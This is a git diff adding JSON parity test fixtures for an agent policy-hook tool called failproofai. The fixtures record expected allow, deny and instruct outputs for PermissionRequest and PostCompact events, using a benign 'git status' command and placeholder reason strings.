+ "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..e79415c1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..37c73553 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..bbcb917c --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-present__one-policy.json new file mode 100644 index 00000000..4779dc54 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-present__two-policies.json new file mode 100644 index 00000000..c93ec023 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..76030285 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..d11416c1 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..ec6b0991 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..408389ad --- /dev/null +++ b/__tests__/parity/fixtures/devin/PermissionRequest/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "PermissionRequest", + "input": { + "event_type": "PermissionRequest", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PermissionRequest", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PermissionRequest", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"PermissionRequest\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b2cbdff8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..f0b2ab2b --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..dbb83f8f --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..4981044d --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..2c8d8c32 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..8348f268 --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..9be832bd --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..297f1e4a --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..ba52f60d --- /dev/null +++ b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "PostCompact", + "input": { + "event_type": "PostCompact", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "PostCompact", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "PostCompact", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/PostCompact/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/PostCompact/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..859df84e --- /dev/null +++ 